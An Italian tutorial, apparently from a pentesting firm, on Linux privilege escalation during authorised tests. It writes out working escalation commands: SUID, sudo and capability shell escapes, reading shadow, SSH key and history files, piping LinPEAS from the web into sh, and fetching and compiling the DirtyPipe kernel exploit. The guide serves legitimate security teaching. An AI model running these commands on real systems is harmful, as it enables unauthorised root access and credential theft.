Privilege Escalation Linux — Tecniche e Tool che Usiamo nei Test di Penetrazione

Hai ottenuto un accesso iniziale su un server Linux. Magari sei www-data o un utente normale. Ora devi diventare root per completare il test di penetrazione. Senza privilege escalation, il tuo lavoro si ferma a metà. E nella nostra esperienza di penetration tester — oltre 8 anni a mettere sotto stress server di PMI italiane — la privilege escalation Linux è il punto in cui molti si bloccano.

Noi, di Meteora Web, affrontiamo ogni audit con un approccio concreto: prima enumeriamo, poi sfruttiamo, sempre con strumenti e tecniche che puoi replicare. In questa guida ti mostriamo le vulnerabilità più comuni, i tool che usiamo e gli esempi che funzionano davvero.

Come enumerare il sistema per trovare vettori di privilege escalation Linux?

Prima di sfruttare qualsiasi vulnerabilità, devi mappare il sistema. L'enumerazione è il 70% del lavoro. Se salti questo passo, perdi tempo. Ecco i controlli che eseguiamo sempre:

Informazioni di base

id
uname -a
cat /etc/os-release
hostname

Questi comandi ti dicono chi sei, su che kernel e distribuzione sei, e il nome del sistema. Utile per cercare exploit specifici per versione.

Utenti e gruppi

cat /etc/passwd
cat /etc/group
cat /etc/shadow 2>/dev/null || echo "shadow non accessibile"

Controlla utenti con shell, gruppi privilegiati (sudo, docker, adm). Spesso un utente in un gruppo sbagliato è già mezzo privilegio.

Processi e servizi in esecuzione

ps aux
ps aux | grep root

Processi avviati da root potrebbero avere vulnerabilità di escalation. Cerchiamo servizi che girano con privilegi ma che l'utente corrente può alterare.

File SUID e SGID

find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

I binari con SUID eseguiti da chiunque mantengono i privilegi del proprietario (di solito root). È il classico vettore. Usiamo GTFOBins per verificare se un binario può essere sfruttato.

sudo -l

sudo -l

Se l'utente ha permessi sudo su comandi specifici, potremmo elevarci. Spesso vediamo regole come (ALL) NOPASSWD: /usr/bin/vim. Significa che possiamo eseguire vim come root — e da vim possiamo lanciare una shell con :!bash.

Capabilities

getcap -r / 2>/dev/null

Le Linux capabilities possono dare permessi equivalenti a root senza SUID. Ad esempio cap_setuid+ep su un binario permette di cambiare UID. Un vettore spesso trascurato.

Cron job

cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron.d/* 2>/dev/null

Se un cron job esegue uno script con privilegi e lo script è scrivibile dall'utente corrente, puoi inserire un comando malevolo. Lo vediamo spesso su server mal configurati.

Checklist pratica:
1. id e uname -a
2. sudo -l
3. find / -perm -4000
4. getcap -r /
5. cat /etc/crontab
6. ps aux | grep root

Quali tool usiamo per la privilege escalation Linux? LinPEAS, GTFO Bins e altri

Non reinventiamo la ruota. Per la fase di enumerazione usiamo principalmente LinPEAS (Linux Privilege Escalation Awesome Script). Eseguiamo anche LinEnum e LES (Linux Exploit Suggester). Ma LinPEAS è il nostro standard: scansiona automaticamente SUID, sudo, capabilities, cron, processi, reti e molto altro. Rilascia un output colorato che evidenzia i vettori critici.

LinPEAS in azione

# Scarica ed esegui (dalla macchina attaccante o via curl)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Oppure carica il file e runnalo
./linpeas.sh

LinPEAS mostra una sezione "Interesting files writable" che include file SUID sfruttabili e path modificabili. Attenzione: genera molto output. Redirigi su file per analisi offline.

GTFOBins per sfruttare SUID

Quando trovi un binario SUID (es. find, vim, nmap, python), vai su GTFOBins. Cerca il binario e trovi comandi pronti per elevare i privilegi. Esempio con find:

# Se find è SUID root
find . -exec /bin/sh -p \; -quit

Il flag -p preserva i privilegi (essenziale).

Linux Exploit Suggester (LES)

Per kernel exploit, LES è il nostro primo passo. Confronta la versione del kernel con database di CVE noti.

perl les.sh

Puoi scaricarlo da GitHub. Poi cerca exploit specifici per il kernel. Ma attenzione: gli exploit per kernel possono crashare il sistema. Usali solo in ambienti di test o con autorizzazione.

Come sfruttare SUID, sudo e capabilities per la privilege escalation Linux?

Il 90% dei casi risolvibili con privilegi di sistema si affronta con SUID e sudo. Vediamo i vettori più comuni che incontriamo nei test reali.

SUID binari — sfruttamento pratico

Supponiamo che find abbia il bit SUID. Lo verifichiamo con ls -la /usr/bin/find (mostra -rwsr-xr-x). Eseguiamo:

/usr/bin/find /home -name "*.txt" -exec /bin/sh -p \; -quit

Ora sei root. Altri binari comuni: vim, nano, less, more, bash, python, perl, cp, mv. Su GTFOBins trovi tutti i comandi per ciascun binario.

Sudo — regole pericolose

Il comando sudo -l ha mostrato che il tuo utente può eseguire /usr/bin/vim come root senza password. Allora:

sudo vim -c ':!bash'

Oppure:

sudo vim
:!bash

Altre regole comuni: (ALL) NOPASSWD: /usr/bin/apt-get, /usr/bin/pip, /usr/bin/python. Con pip puoi installare un pacchetto malevolo. Con python puoi eseguire una shell.

Capabilities — il vettore silenzioso

Un binario con cap_setuid+ep permette di cambiare l'UID del processo. Esempio con python3:

# Verifichiamo: getcap /usr/bin/python3
# Output: /usr/bin/python3 = cap_setuid+ep
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

Ecco un'altra strada per diventare root.

Quando usare kernel exploit per la privilege escalation Linux?

Se SUID, sudo e capabilities non danno risultati, passiamo ai kernel exploit. Ma solo dopo aver confermato che la versione del kernel è vulnerabile e che l'exploit è stabile.

Identificare il kernel

uname -a
# esempio: Linux target 4.15.0-112-generic #113-Ubuntu SMP

Usiamo LES o searchsploit (dalla macchina dell'attaccante) per trovare exploit. Per kernel 4.15.x è famoso CVE-2017–16995 (overlayfs) o CVE-2021–3490 (ebpf).

Eseguire un kernel exploit

Scarica il codice C, compilalo sulla macchina bersaglio (se ha gcc) o compilo sulla tua e trasferisci. Esempio con DirtyPipe (CVE-2022-0847):

wget https://raw.githubusercontent.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploit/main/dirtypipez.c
gcc dirtypipez.c -o dirtypipez
./dirtypipez

Attenzione: molti kernel exploit richiedono un compilatore. Se non c'è gcc, prova con cc o cerca exploit precompilati. Noi preferiamo sempre evitare kernel exploit se possibile — troppa instabilità. Ma quando il cliente ha un server legacy, a volte è l'unica via.

Regola d'oro: mai eseguire un kernel exploit in produzione senza aver prima testato su un ambiente isolato. Può corrompere il filesystem.

Privilege escalation Linux orizzontale — un caso concreto

A volte non serve diventare subito root. Se raccogli le credenziali di un altro utente con più privilegi, è escalation orizzontale. Esempio: trovi file di configurazione con password in /var/www/html/config.php. Quell'utente potrebbe avere accesso sudo. Lo vediamo spesso nei test di applicazioni web. Sempre controllare .bash_history, .ssh/id_rsa, file di backup.

cat /home/user/.bash_history
find /home -type f -name "*.txt" -o -name "*.cfg" 2>/dev/null

Cosa fare adesso

La prossima volta che ti trovi con una shell limitata su un Linux, segui questa sequenza operativa:

1. Esegui LinPEAS — ti dà una mappa immediata delle vulnerabilità.
2. Controlla sudo -l e SUID — sono i vettori più veloci.
3. Verifica capabilities e cron job — spesso trascurati, spesso risolutivi.
4. Se tutto fallisce, usa LES — ma solo dopo aver valutato la stabilità.
5. Documenta ogni passo — nel penetration testing professionale devi riportare vulnerabilità e fix, non solo lo shell.

Noi, di Meteora Web, usiamo queste tecniche ogni giorno nei nostri audit. Se vuoi approfondire, leggi la nostra guida pillar su Ethical Hacking e Penetration Testing. E ricorda: un test di penetrazione non finisce quando ottieni root. Finisce quando il cliente sa come proteggersi.